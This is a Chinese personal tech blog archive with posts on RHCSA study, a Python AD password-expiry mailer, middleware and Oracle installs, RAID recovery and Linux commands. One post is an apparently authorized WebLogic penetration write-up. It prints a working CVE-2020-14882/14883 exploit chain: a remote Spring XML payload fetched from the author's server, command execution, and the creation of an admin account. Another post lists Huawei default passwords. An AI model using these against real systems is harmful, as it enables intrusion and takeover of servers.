进行复制粘贴RHCSA 有两道根Podman 镜像服务器 admin redhat321重要测评信息重新引导node1 node2 ,保证所有操作开机启动运行,无法引导启动为零分RHCSA 3个小时考试时间 强烈建议大家1.5个小时昨晚 0.5小时检查RHCE 4个小时 2小时做完 0.5小时检查ansible-playbook --syntax-chenck xxx.yml练习环境通过快照切换考试环境F0主机 用户名kiosk 密码redhat三个组件红帽 考试题目虚拟机控制台终端node1 node2 虚拟机控制台会用consolenode1 一开始不叫node1 IP console root | flectrag nmcli修改IPnode2 叫node2 一开始进不去 root密码不知道 console 重启 -grub xxx考试通过终端terminal答题做题 按照样题解析全部做完26道题有可能CSA及CE每个部分有一道从没见过的题目按顺序做题node1题目1 配置主机 网络等通过nmcli配置网络通过hostnamectl修改主机名题目2 配置YUM仓库题目3 调试selinux题目4 创建用户组题目5 配置cron计划任务题目6 配置协作目录题目7 配置NTP题目8 atuofs题目9 配置/var/tmp/fstab权限题目10 配置用户账户题目11 查找文件题目12 查找字符串题目13 创建存档题目14 配置容器使其自动运行题目15 为容器配置持久存储题目16 可能从新题,可能从下面抽一道1、编写shell全路径执行2、设置用户密码过期时间3、设置用户默认权限4、设置sudonode2题目1 设置root密码题目2 配置你的系统以使用默认仓库题目3 调整逻辑卷大小题目4 添加swap交换分区题目5 创建逻辑卷题目6 创建VDO卷题目7 调优集测试参考评分exam-gradeRHCE16道题 4小时control node1 - 5 系统IP采用静态设置Ansible控制节点已经创建了用户账户gregAnsible必须通过greg普通用户登录control控制节点默认工作目录在普通用户家目录下的ansible中 yml ansible inventory roles /home/greg/ansible题目1 安装配置ansiblessh greg@control建议用vimhost_key_checking=False #考试时不需要配置,会扣一点分数考试时不需要配置被管理节点的sudo题目2 创建和运行Ansible考试中用全路径执行 /xxx.shGPGKEY导入题目3 安装软件包题目4 使用RHEL系统角色题目5 使用Ansible Galaxy安装角色题目6 创建和使用角色题目7 从Ansible Galaxy使用角色题目8 创建和使用逻辑卷题目9 生成主机文件题目10 修改文件内容题目11 创建web内容目录题目12 生成硬件报告题目13 创建密码库题目14 创建用户账户题目15 更新Ansible库的密钥题目16 配置cron作业参考评分 exam-grade
2022年09月18日
386 阅读
0 评论
1 点赞
2022-08-30
0基础上手python编程,实践windows域用户过期邮件通知
全民制作人大家好,我是学习python两天半的练习生王忘杰,喜欢路由交换、linux、网络安全,开整!在此之前我并没有编程经验,对于python我花了半天时间看了www.runoob.com/python3的教程,看完第五节基本语法,发现python与bash脚本基本相同,因此安装完PyCharm后直接开始了代码编写。本文目标,0基础使用python语言完成对windows域用户超过60天未修改密码的进行邮件通知。一、代码思路1、获取windows域用户名、上次修改密码时间、邮箱2、使用python计算修改密码时间是否超过60天3、超过60天发送邮件通知4、使用异常处理语句,防止程序崩溃5、完整编译、定期执行、定期检查二、获取windows域用户信息百度查询,获得powershell命令Get-ADUser -Filter 'Name -like "*"' -Properties * Get-ADUser是powershell域管理的用户管理命令,此条命令可以列出全部域用户信息因为我们只需要用户名、上次修改密码时间和邮箱,因此使用powershell管道符加Select-Object筛选出name,passwordlastset,SamAccountName即可Get-ADUser -Filter 'Name -like "*"' -Properties * | Select-Object name,passwordlastset,SamAccountName此时的结果为这种格式1 11 admin 2021/11/30 22:15:20 admin test 2022/4/20 11:00:23 test 通过重定向将结果导出到本地,使用python进行后续工作,也可以直接用python执行powershell,看完本文你就懂了。Get-ADUser -Filter 'Name -like "*"' -Properties * | Select-Object name,passwordlastset,SamAccountName > 1.txt三、开始计算1、读取本地1.txt有困难,先百度,文章里所有代码都是按想法去百度的,使用open()函数打开本地文件f = open("C:\\Users\admin\Desktop\/1.txt", "r", encoding='utf-16')因为文本有很多行,所以需要使用readlines()函数来按行存储,此函数会以每一行为单位构建一个列表lines = f.readlines() print(lines)此时输出结果为['1\n', '\n', 'admin 2021/11/30 22:15:20 admin\n', 'test 2022/4/20 11:00:23 test \n']我们构建for循环来输出每一行的内容for line in lines: print(line)输出结果就变成了 admin 2021/11/30 22:15:20 admin test 2022/4/20 11:00:23 test 2、分割字符,计算时间我们使用strptime()函数来进行时间差计算,为此我们需要把每一行进行字符分割,提取有用的信息,而strptime()函数的日期格式是2021-11-30,与AD默认导出的2021/11/30不同,所以需要进行字符替换。此时我们for循环变成了for line in lines: x = line.replace("/", "-") y = x.split() time_1 = y[1] print(time)注意,因为文本里有空格,运行会报错,所以我们要做的是进行异常处理。 time_1 = y[1] IndexError: list index out of range使用try进行异常处理,修改for代码为for line in lines: try: x = line.replace("/", "-") y = x.split() time_1 = y[1] print(time_1) except: print("错误行")运行结果错误行 错误行 2021-11-30 2022-4-20for代码解释for line in lines: #每次for循环将lines中的一行赋予line try: #异常处理,正常的执行,错误的跳转except x = line.replace("/", "-") #使用replace()函数将line中的/替换为-,将结果赋予x,从[admin 2021/11/30 22:15:20 admin]替换为[admin 2021-11-30 22:15:20 admin] y = x.split() #使用split()将x使用空格分割,从[admin 2021-11-30 22:15:20 admin]分割为[admin][2021-11-30][22:15:20][admin] time_1 = y[1] #提取第二个字符,注意是0、1、2,所以1就是第二个字符 print(time_1) #打印2021-11-30,打印仅仅是为了从终端观察运行结果 except: print("错误行") #打印仅仅是为了从终端观察运行结果获取当前日期,使用time()函数,使用strftime()函数格式化为 年-月-日格式方便计算,此函数import time引用print(time.strftime("%Y-%m-%d", time.localtime()))3、计算时间差使用datetime计算时间差,from datetime import datetime引用,只有datetime格式化后的日期才能减出时间差for line in lines: try: x = line.replace("/", "-") y = x.split() time_1 = y[1] time_2 = time.strftime("%Y-%m-%d", time.localtime()) time_1 = datetime.strptime(time_1, "%Y-%m-%d") time_2 = datetime.strptime(time_2, "%Y-%m-%d") day = (time_2 - time_1).days #提取日期 print(day) #打印日期 except: print("错误行")运行结果273 1324、判断是否大于60天很简单了,一个if搞定print(day) if day > 60: #大于60天 day = str(day) #上面获取的day是int类型,必须转换成文本,否则无法运行,编辑器会提示错误 print('密码'+ day +'天未修改') #打印内容 else: print('未过期')运行结果密码273天未修改 密码132天未修改5、丰满内容,拼接出我们真正要的信息姓名、过期时间、邮箱,从y的第一位取出用户名,最后一位取出邮箱拼接起来 if day > 60: day = str(day) username = y[0] usermail = (y[3] + '@90apt.com') #拼接邮箱 print('用户 '+username+' 密码'+ day +'天未修改 邮箱为'+usermail) else: print('未过期')运行结果用户 admin 密码273天未修改 邮箱为admin@90apt.com 用户 test 密码132天未修改 邮箱为test@90apt.com四、发送邮件百度一下,直接加进去,发送邮件所需要的东西我们都有了用户名就是username,天数day,邮箱我们通过拼接usermail形成完整邮箱了使用SMTP单独发件测试,其实不需要知道内容,拿来用就行了from email.header import Header from email.mime.text import MIMEText mail_host = "smtp.mxhichina.com" # 设置服务器 mail_user = "admin@90apt.com" # 用户名 mail_pass = "passwd" # 口令 sender = 'admin@90apt.com' receivers = (usermail) # 接收邮件,可设置为你的QQ邮箱或者其他邮箱 message = MIMEText('亲爱的 ' + username + ' 域用户 :\n\ 您的计算机域账户已经超过' + day + '天没有修改密码了', 'plain', 'utf-8') message['From'] = Header("域用户密码超期安全提醒", 'utf-8') message['To'] = Header(username, 'utf-8') subject = '域用户密码超期安全提醒' message['Subject'] = Header(subject, 'utf-8') try: smtpObj = smtplib.SMTP() smtpObj.connect(mail_host, 25) # 25 为 SMTP 端口号 smtpObj.login(mail_user, mail_pass) smtpObj.sendmail(sender, receivers, message.as_string()) print(username + "邮件发送成功") except smtplib.SMTPException: print("Error: 无法发送邮件")运行后列表里的人会收到邮件五、小优化邮件别发的太快,容易被封号,在for循环里加个time.sleep(3),运行一次等待3秒六、完整代码、编译、定时任务就算了,大家看完上面肯定就会了,随便写写就比我写更规范。编译,那不是百度一下就行,定时任务就更简单了,这里就不说了。七、最后不会写代码的网工不是好系统运维
2022年08月30日
581 阅读
0 评论
4 点赞
2022-08-12
windows/linux 部署weblogic
官方下载页面https://www.oracle.com/cn/middleware/technologies/fusionmiddleware-downloads.html一、Windows部署安装脚本需要jdk开发环境,而运行脚本需要jre运行环境安装jre,当前最新版本为Version 8 Update 341 https://www.java.com/zh-CN/download/安装jdk,安装脚本支持的jdk版本为17https://www.oracle.com/java/technologies/downloads/#java17下载最新版本weblogic Oracle WebLogic Server 14c (14.1.1.0)https://www.oracle.com/cn/middleware/technologies/fusionmiddleware-downloads.html解压weblogic.jar文件fmw_14.1.1.0.0_wls_lite_generic.jar添加java环境变量JAVA_HOME C:\Program Files\Java\jdk-17.0.4运行安装脚本,启动图形界面fmw_14.1.1.0.0_wls_lite_generic\Disk1\install\.ng.cmd全选模板输入密码这里jdk环境我选择jre配置直至完成启动脚本C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd登陆即可http://localhost:7001/console二、linux部署几乎一致三、其他修改weblogic调用的java路径Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.sh setDomainEnv.cmd
2022年08月12日
469 阅读
0 评论
0 点赞
2022-08-12
Tomcat Alma linux 8 快速安装、升级
本次演示内容为使用Alma linux 8 快速部署Tomcat10.0.20版本,并快速升级为官网最新版本Tomcat10.0.23版本。一、安装准备1、查看系统版本当前版本为Almalinux8.6cat /etc/os-release NAME="AlmaLinux" VERSION="8.6 (Sky Tiger)" ID="almalinux"2、安装jdk建议使用dnf安装管理,方便升级,我这里选择安装最新的JDKdnf search jdk java-latest-openjdk.x86_64 : OpenJDK 18 Runtime Environment dnf install java-latest-openjdk二、安装tomcat1、下载历史版本http://archive.apache.org/dist/tomcat/tomcat-10/wget http://archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz安装位置创建目录,并将Tomcat解压内容完整拷贝/usr/local/tomcat修改端口 conf/server.xml如默认监听的8080端口,改为8081<Connector port="8081" protocol="HTTP/1.1"配置环境变量/etc/profile 添加export TOMCAT_HOME=/usr/local/tomcat重新加载配置文件source /etc/profile启动Tomcat/usr/local/tomcat/bin/startup.sh Using CATALINA_BASE: /usr/local/tomcat Using CATALINA_HOME: /usr/local/tomcat Using CATALINA_TMPDIR: /usr/local/tomcat/temp Using JRE_HOME: /usr Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar Using CATALINA_OPTS: Tomcat started.关闭tomcat/usr/local/tomcat/bin/shutdown.sh Using CATALINA_BASE: /usr/local/tomcat Using CATALINA_HOME: /usr/local/tomcat Using CATALINA_TMPDIR: /usr/local/tomcat/temp Using JRE_HOME: /usr Using CLASSPATH: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar Using CATALINA_OPTS: NOTE: Picked up JDK_JAVA_OPTIONS: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED登陆浏览器查看,注意开放防火墙对应端口三、升级Tomcat1、关闭tomcat/usr/local/tomcat/bin/shutdown.sh2、当发现当前版本漏洞时,需从官方下载升级Tomcat下载官方最新版https://tomcat.apache.org/wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.0.23/bin/apache-tomcat-10.0.23.tar.gz3、备份旧tomcatmv /usr/local/tomcat /usr/local/tomcat.bak/4、新建tomcat目录并把最新的tomcat包解压放入一般来说tomcat中配置文件为conf/server.xml程序文件在webapps演示文件在webapps/examples中其他自行修改的配置文件一并导入证书文件server.keystore注意将旧配置文件、程序文件、自定义配置、证书文件拷贝过来,并删除演示文件即可5、启动tomcat并测试
2022年08月12日
614 阅读
0 评论
2 点赞
2022-08-02
Alma linux 8 安装 Oracle19C RPM
官方英文文档https://docs.oracle.com/en/database/oracle/oracle-database/19/ladbi/index.html登陆官网注册并下载数据库https://www.oracle.com/cn/database/technologies/oracle-database-software-downloads.html#19c我这里下载19.3 - Enterprise Edition (also includes Standard Edition 2) Linux x86-64 RPM (2.5 GB)安装这个RPM需要一个前置包oracle-database-preinstall直接使用自动补全安装环境yum localinstall https://yum.oracle.com/repo/OracleLinux/OL8/appstream/x86_64/getPackage/oracle-database-preinstall-19c-1.0-1.el8.x86_64.rpm安装rpm -ihv oracle-database-ee-19c-1.0-1.x86_64.rpm warning: oracle-database-ee-19c-1.0-1.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID ec551f03: NOKEY Verifying... ################################# [100%] Preparing... ################################# [100%] Updating / installing... 1:oracle-database-ee-19c-1.0-1 ################################# [100%] [INFO] Executing post installation scripts... [INFO] Oracle home installed successfully and ready to be configured. To configure a sample Oracle Database you can execute the following service configuration script as root: /etc/init.d/oracledb_ORCLCDB-19c configure安装完成后按提示初始化 /etc/init.d/oracledb_ORCLCDB-19c configure Configuring Oracle Database ORCLCDB. Prepare for db operation 8% complete Copying database files 31% complete Creating and starting Oracle instance 32% complete 36% complete 40% complete 43% complete 46% complete Completing Database Creation 51% complete 54% complete Creating Pluggable Databases 58% complete 77% complete Executing Post Configuration Actions 100% complete Database creation complete. For details check the logfiles at: /opt/oracle/cfgtoollogs/dbca/ORCLCDB. Database Information: Global Database Name:ORCLCDB System Identifier(SID):ORCLCDB Look at the log file "/opt/oracle/cfgtoollogs/dbca/ORCLCDB/ORCLCDB.log" for further details. Database configuration completed successfully. The passwords were auto generated, you must change them by connecting to the database using 'sqlplus / as sysdba' as the oracle user.开放防火墙端口firewall-cmd --add-port=1521/tcp --permanent success firewall-cmd --reload success firewall-cmd --list-ports 1521/tcp切换到oracle用户su - oracle编辑环境变量vi .bash_profile export ORACLE_HOME=/opt/oracle/product/19c/dbhome_1 export PATH=$PATH:/opt/oracle/product/19c/dbhome_1/bin export ORACLE_SID=ORCLCDB刷新当前用户环境变量source ~/.bash_profile登录数据库$ sqlplus / as sysdba SQL*Plus: Release 19.0.0.0.0 - Production on Tue Aug 2 13:54:47 2022 Version 19.3.0.0.0 Copyright (c) 1982, 2019, Oracle. All rights reserved. Connected to: Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production Version 19.3.0.0.0 SQL> show pdbs CON_ID CON_NAME OPEN MODE RESTRICTED ---------- ------------------------------ ---------- ---------- 2 PDB$SEED READ ONLY NO 3 ORCLPDB1 READ WRITE NO 修改密码SQL> alter user system identified by 123456;远程登陆测试我使用的是Navicat 15 for Oracle
2022年08月02日
449 阅读
0 评论
0 点赞
2022-07-26
记一次企业业务服务器渗透,WebLogic未授权代码执行
《中华人民共和国刑法》 第二百八十五条规定,非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪;提供侵入、非法控制计算机信息系统程序、工具罪是指,违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。背景说明 本次渗透已获得授权,本文仅用于分享渗透思路,若将本文思路用于违法行为,后果自负!本次渗透目的用于找回一台服务器密码,因为管理员密码丢失,无法登录和管理此服务器,而停机PE修改密码必然会影响业务运行,因此本次采用渗透方式尝试获取管理员密码。信息收集 一开始我有想过MS17-010永恒之蓝漏洞和向日葵CNVD-2022-10270/CNVD-2022-03672,可以一击必杀,但现实肯定没这么简单,MS17-010的补丁已经打了,而向日葵这玩意会自动升级。所以先用Goby全端口全漏洞扫描了一遍能扫出来的高危漏洞就有5个,这不稳了?ActiveMQ default admin account默认管理员密码漏洞,漏洞存在,但是这个组件我不熟悉,没法利用CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCEBlueKeep这漏洞在我心里就是个蓝屏漏洞,在这里无用武之地tomcat lfi (CVE-2020-1938)文件读取、包含,我这里管理员都登陆不上去,所以也没啥用Weblogic Server RCE (CVE-2021-2109)远程代码执行漏洞,实现起来有点复杂,先放一下Oracle WebLogic Unauthenticated Takeover (CVE-2020-14883)CVE-2020-14882&CVE-2020-14883 Weblogic未授权远程命令执行漏洞,这两个漏洞一般是同时修复,存在一个基本也就存在另一个,两者结合,可以一试构造POC 查看登录页http://IP:7001/console/login/LoginForm.jsp后台越权访问http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29编写POC.XML,上传到自己的web服务器<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value><![CDATA[echo hello > "../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp"]]></value> </list> </constructor-arg> </bean> </beans>执行远端XMLhttp://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://我的web服务器/poc.xml")验证结果http://IP:7001/console/images/xxx.jsp稳了!查看当前用户,把POC里的echo hello改成whoami,验证结果system权限,我焯!依次构造添加用户并加入管理员组的POCnet user test test /add net localgroup administrators test /add直接远程登陆因为没有管理员密码,所以管理员从未登陆过,使用Mimikatz获取管理员密码的尝试失败了。我这里选择修改administrator密码,至此,渗透完成!修复建议 1、及时更新系统补丁,淘汰已过期的操作系统,如windows2008R2 2、及时更新服务组件,如本文中OracleWebLogic、ActiveMQ、tomcat均存在漏洞 3、安装EDR、部署IPS入侵防御系统,增强系统安全性
2022年07月26日
513 阅读
0 评论
1 点赞
2022-07-26
华为超融合故障处理一则 fusioncube6.5 FCC无法启动
故障说明: 服务器为三台2288HV5,运行fusioncube6.5系统,因为没有使用fusioncubecenter一键下电,导致重新开机后FCC没有启动,又因为fusioncube默认配置了单点登录,导致无法登录fusioncompute启动FCC。处理过程: 打客服,狠狠的打,客服发来解除单点登录命令,BMC默认用户名Administrator密码Admin@9000python /opt/galax/root/vrm/tomcat/script/omsconfig/bin/sm/changesso/changesso.py -m ge结果发现无法运行命令再次联系客服,得知需要ssh到VRM上运行,不能在CNA运行,尴尬ssh登录VRM默认不允许root用户直接登录因此 ssh gandalf@IPgandalf用户的默认密码为IaaS@OS-CLOUD9!登录后切换到root用户su -root用户默认密码为IaaS@OS-CLOUD8!登陆后执行VRM02:~ # python /opt/galax/root/vrm/tomcat/script/omsconfig/bin/sm/changesso/changesso.py -m ge change web.xml to ge mode success:OmsPortal:changePortalSwitch modify GM IP Success......... Redirecting to /bin/systemctl stop portal.service Redirecting to /bin/systemctl stop vrmd.service Redirecting to /bin/systemctl stop fmcd.service ---------------------------------------- completed!单点登录关闭成功,过一会可以登录登陆VRM网页端,启动所有FCC虚拟机启动FCC虚拟机后,两台FCC会选举出一个主,过很长一会才可登录网页端恢复单点登录设置处理完成 正常关机 正常下电,在关闭所有业务虚拟机后,使用一键下电系统正常开机 开机后先配置单点登录登陆后发现备FCC没有启动,手动启动分布式存储状态异常使用下电系统中的启动存储服务启动成功检查存储状态正常业务可以正常启动,开机完成
2022年07月26日
516 阅读
0 评论
0 点赞
2022-07-07
硬件RAID阵列数据重组,vSphere VMFS文件系统虚拟机文件提取
当使用RAID阵列的vSphere单机虚拟机化服务器因物理故障无法启动时,需要通过软件对RAID阵列上数据进行重组,对VMFS文件系统中的虚拟机文件进行提取,本教程可能是目前全网唯一不使用商业软件的可行恢复方案。操作流程:1、使用R-Studio Technician进行RAID重组,对VMFS分区镜像导出VMDK文件2、将提取的VMDK导入linux虚拟机,使用vmfs-tools、vmfs6-tools挂载并提取文件3、将提取的虚拟机文件导入其他vSphere虚拟化平台,恢复业务一、使用R-Studio Technician进行RAID重组,对VMFS分区镜像导出VMDK文件 1、拆除无法启动的vSphere单机虚拟化硬盘,标记磁盘顺序,插入具备直通卡的服务器,启动服务器后查看硬盘是否全部识别2、启动R-Studio Technician(演示模式可以提取数据),分析原RAID结构,进行RAID重组只有原RAID结构能看到ESXi FAT16分区下的数据,而VMFS分区数据不可见3、R-Studio Technician导出VMDK镜像通常VMFS分区为空间最大分区,创建VMDK镜像,注意:一定要选择最高速!此时镜像不压缩,否则会导致文件损坏!二、将提取的VMDK导入linux虚拟机,使用vmfs-tools、vmfs6-tools挂载并提取文件 1、在linux虚拟机中载入VMDK文件2、安装vmfs6-tools下载、安装软件包https://pkgs.org/download/vmfs6-tools3、挂载、导出虚拟机文件查看当前硬盘[root@localhost ~]# fdisk -l 磁盘 /dev/sdb:591.0 GB, 590957576192 字节,1154214016 个扇区 Units = 扇区 of 1 * 512 = 512 bytes 扇区大小(逻辑/物理):512 字节 / 512 字节 I/O 大小(最小/最佳):512 字节 / 512 字节 磁盘标签类型:dos 磁盘标识符:0x19740ae1 设备 Boot Start End Blocks Id System /dev/sdb1 1 1154213982 577106991 ee GPT挂载VMFS分区,已识别到VMFS版本号为6[root@localhost ~]# vmfs6-fuse /dev/sdb1 /mnt VMFS version: 64、查看内容[root@localhost ~]# ll -h /mnt 总用量 974M -rw-r--r--. 1 root root 973M 7月 6 00:45 CentOS-7-x86_64-Minimal-2009.iso drwxr-xr-x. 2 root root 72K 7月 6 00:57 RAID恢复测试Centos75、将虚拟机文件导出三、将提取的虚拟机文件导入其他vSphere虚拟化平台,恢复业务 整体上传虚拟机文件夹进入目录,注册虚拟机开机测试正常,业务恢复完毕
2022年07月07日
620 阅读
0 评论
2 点赞
2022-07-05
LSI9240-8I创建RAID、刷直通模式、软件恢复RAID数据
一、创建RAID阵列 此次演示为3块SAS硬盘组建RAID5阵列开机提示按Ctrl+H选择当前RAID卡新建RAID阵列手动创建阵列将现有0、1、2 三块硬盘添加到硬盘组将硬盘组添加进预创建阵列以64kB、无缓存直写模式创建raid5阵列(LSI9240-8I无板载缓存)确定使用直写模式RAID阵列创建完成接受阵列保存配置初始化,会丢失阵列中硬盘全部数据创建完成二、LSI9240-8I阵列卡刷为LSI9211-8I直通卡 使用rufus制作freedos启动盘所需用到的固件包,解压后放到U盘https://files.cnblogs.com/files/iitrust/9211-8i.ITfireware&program.zip拍下RAID卡序列号,在RAID卡背面1、U盘引导到DOS,备份原卡的sbr (serial boot rom)Megarec -readsbr 0 backup.sbr2、将empty.bin写入控制卡megarec -writesbr 0 empty.bin3、檫除控制卡的 Flashmegarec -cleanflash 04、重启电脑,看不到原卡的bios启动画面说明,上述步骤成功5、下面将控制卡刷成IT模式,重启后继续进dos6、直接运行下列命令将控制卡刷成IT模式sas2flsh -o -f 2118it.bin -b mptsas2.rom7、将控制卡序列号写入sas2flsh -o -sasadd 500605bxxxxxxxxx三、软件恢复RAID数据 注意:必须标记RAID磁盘顺序!使用一块新硬盘安装系统后,将需要进行RAID恢复的硬盘按顺序插入服务器(关机状态操作更安全),开机后可以直接看到硬盘而非RAID阵列信息,代表直通模式成功阵列数据分析LSI9240-8I默认的参数是左同步、64KB1、使用DiskGenius进行RAID数据恢复组建虚拟RAID按顺序添加硬盘RAID5左同步、64KB可完整显示所有硬盘信息,目录内容为前期自行建立2、使用R-Studio Technician进行RAID数据恢复组建虚拟块RAID和自动检测按顺序添加硬盘自动检索推测RAID阵列可能性,也可以手动选择磁盘信息完整数据完整四、最后 ESXi所使用的VMFS文件系统恢复可查看我的其他文章。
2022年07月05日
628 阅读
0 评论
2 点赞
2022-06-25
linux常用命令记录
基础命令systemctl enable --now zabbix-agent2 启动并开机启动服务 hostnamectl set-hostname xx修改主机名 fstrim -a 磁盘空间回收 pwd 显示当前目录 pwd -P 显示物理路径而非软连接 pwd -L 显示软连接 .. 上层目录 . 当前目录 who 当前登录的用户和登录方式 poweroff 关机 reboot 重启 clear 清空屏幕 scp -pr /tabk root@192.168.1.10:/test PATH环境变量 echo $PATH history 命令历史 cd 切换目录 ls 显示目前内容 -a 显示隐藏文件 -l 显示详细信息 -h 大小单位 mkdir 创建目录 -p 递归创建 -m 777 权限模式 -v 显示详细信息 不调用别名 cp /cp lsof 列出打开的文件进程 sudo tcpdump -i eth0 -c 3 输入三个包 netstat -r 路由表 netstat -i 接口 route -n 查看路由表 ip route add 172.17.0.0/16 via 172.16.21.1 添加静态路由 ip route del 172.17.0.0/16 via 172.16.21.1 删除静态路由 修改Docker默认网段,配置加速 /etc/docker/daemon.json(自行创建) { "registry-mirrors": [ "https://dockerproxy.com", "https://hub-mirror.c.163.com", "https://mirror.baidubce.com", "https://ccr.ccs.tencentyun.com" ], "bip":"192.168.66.1/24" } curl ifconfig.me 查看外网IP 替换系统rm命令,带回收站建立rm目录 mkdir 700 /rm myrm(){ D=/rm/$(date +%Y%m%d%H%M%S); mkdir -p $D; mv -v "$@" $D && echo "moved to $D ok"; } alias rm=myrm ~/.bash_profile centos在关机或开机时一直等待,提示A stop job is running for ……通过systemd的设置项跳过/etc/systemd/system.confDefaultTimeoutStartSec=15s DefaultTimeoutStopSec=15s systemctl daemon-reload作者:Cindy_lina链接:https://www.jianshu.com/p/412094e4aab0来源:简书著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。tree 树状显示目录内容 tree /boot/ -P *.conf 显示boot目录下已conf结尾的文件 ctrl+z 将当前程序放入后台 fg切换回前台 查看当前用户 whoami who am i 切换用户 su -l xx 查看用户组 groups xx cat /etc/group | sort 查看用户组并进行字典排序 sort -r反转 sort -t ':' -k 3 以:为分隔符,以第三段为基准排序 sort -n 按数字排序 uniq 过滤重复行 grep -E "aa|bb" 同时匹配aa和bb关键字 sudo usermod -G sudo lilei 把lilei加入到sudo用户组 sudo deluser lilei --remove-home 删除用户并删除用户目录 一个目录要同时具有读权限和执行权限才可以打开,而一个目录要有写权限才允许在其中创建其它文件 sudo chown root aa 改变aa文件的文件所有者为root chmod ugo-rw aa 减去所有者 用户组 其他用户的读取写入权限 mkdir -p father/son/grandson 同时创建父目录 # 使用通配符批量创建 5 个文件 $ touch file{1..5}.txt # 批量将这 5 个后缀为 .txt 的文本文件重命名为以 .c 为后缀的文件 $ rename 's/\.txt/\.c/' *.txt # 批量将这 5 个文件,文件名改为大写 $ rename 'y/a-z/A-Z/' *.c cat -n passwd 带行号查看文件 nl 带行号查看文件 tail /etc/passwd -n 1 显示最后一行 查看文件类型 file /bin/ls vim u 撤销 dd删除一行 p粘贴一行 :s/three/thre 替换 :! 执行命令 :r !ls 提取内容 :r xx.exe 提取文件 v可视化 y复制 输出一个变量 echo $tmp PATH=$PATH:/home/xx/xx 添加PATH环境变量 source .zshrc 让变量自己生效 搜索命令 whereis who which find / -name xx 打印当前目录下的文件目录列表 ,可以使用如下命令: find . -print 找到当前目录下所有 php 文件,并显示其详细信息,可以使用如下命令: find . -name “*.php” -exec ls -l {} \; time ls 测量命令运行时间 zip -r -o xx.zip /home/xx zip压缩 du -sh 0 * 当前目录文件大小,目录深度0 unzip -l xx.zip 查看包内容 unzip -O GBK xx.zip 已中文编码解压 tar -cvzf xx.tar.gz ~ 压缩 tar -xvzf xx.tar.gz 解压缩 修复rpm包 yum reinstall -y r 查看文件内容 列出目录内容 w 修改文件内容 创建删除目录 x 执行文件 进入目录 /bin/bash^M: bad interpreter报错 使用dos2unix filename df -h 查看分区结构 ;顺序运行 命令执行顺序 &&正确就运行 ||错误就运行 cut /etc/passwd -d ':' -f 1,6 以:为分隔符 打印第一个和第六个字段 打印/etc/passwd文件中每一行的前N个字符: # 前五个(包含第五个) $ cut /etc/passwd -c -5 # 前五个之后的(包含第五个) $ cut /etc/passwd -c 5- # 第五个 $ cut /etc/passwd -c 5 # 2到5之间的(包含第五个) $ cut /etc/passwd -c 2-5 # 查看环境变量中以"yanlou"结尾的字符串 $ export | grep ".*yanlou$" cat xx > 1.txt 2>&1 2重定向到1内 echo 1 | tee 1.txt 同时重定向 zsh;exec 1>1.txt;exit永久重定向 /dev/null 2>&1黑洞 这个命令在有些时候十分有用,特别是当用来处理产生大量输出结果的命令如 find,locate 和 grep 的结果,详细用法请参看 man 文档。 $ cut -d: -f1 < /etc/passwd | sort | xargs echo 反向解析 nslookup -qt=ptr 45.63.123.106 关闭selinux 临时 setenforce 0 永久 /etc/selinux/config SELINUX=disabled 硬盘读写测速 [root@veeam-centos ~]# time dd if=/dev/zero bs=10M of=/test.b count=5000 5000+0 records in 5000+0 records out 52428800000 bytes (52 GB, 49 GiB) copied, 427.657 s, 123 MB/s real 7m8.215s user 0m0.016s sys 0m43.097s [root@veeam-centos ~]# time dd if=/test.b of=/dev/null bs=10M count=5000 5000+0 records in 5000+0 records out 52428800000 bytes (52 GB, 49 GiB) copied, 37.2162 s, 1.4 GB/s real 0m37.260s user 0m0.008s sys 0m16.270s 空间回收 fstrim / centos7配置网卡 vi /etc/sysconfig/network-scripts/ifcfg-ens32 bootproto=static onboot=yes IPADDR=192.168.1.160 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 DNS1=119.29.29.29 DNS2=8.8.8.8 systemctl restart network linux安装VMwareToolsmount /dev/cdrom /mnt cp /mnt/VMtools.tar.gz ~ tar xvzf ~/VMtools.tar.gz ~/vmwaretools/vminstall.plcentos7 suse15时区设置,NTP同步systemctl status chronyd [root@zabbix ~]# cat /etc/chrony.conf # These servers were defined in the installation: server 114.115.116.117 iburst [root@zabbix ~]# timedatectl set-timezone Asia/Shanghai [root@zabbix ~]# timedatectl status Local time: Sat 2022-04-16 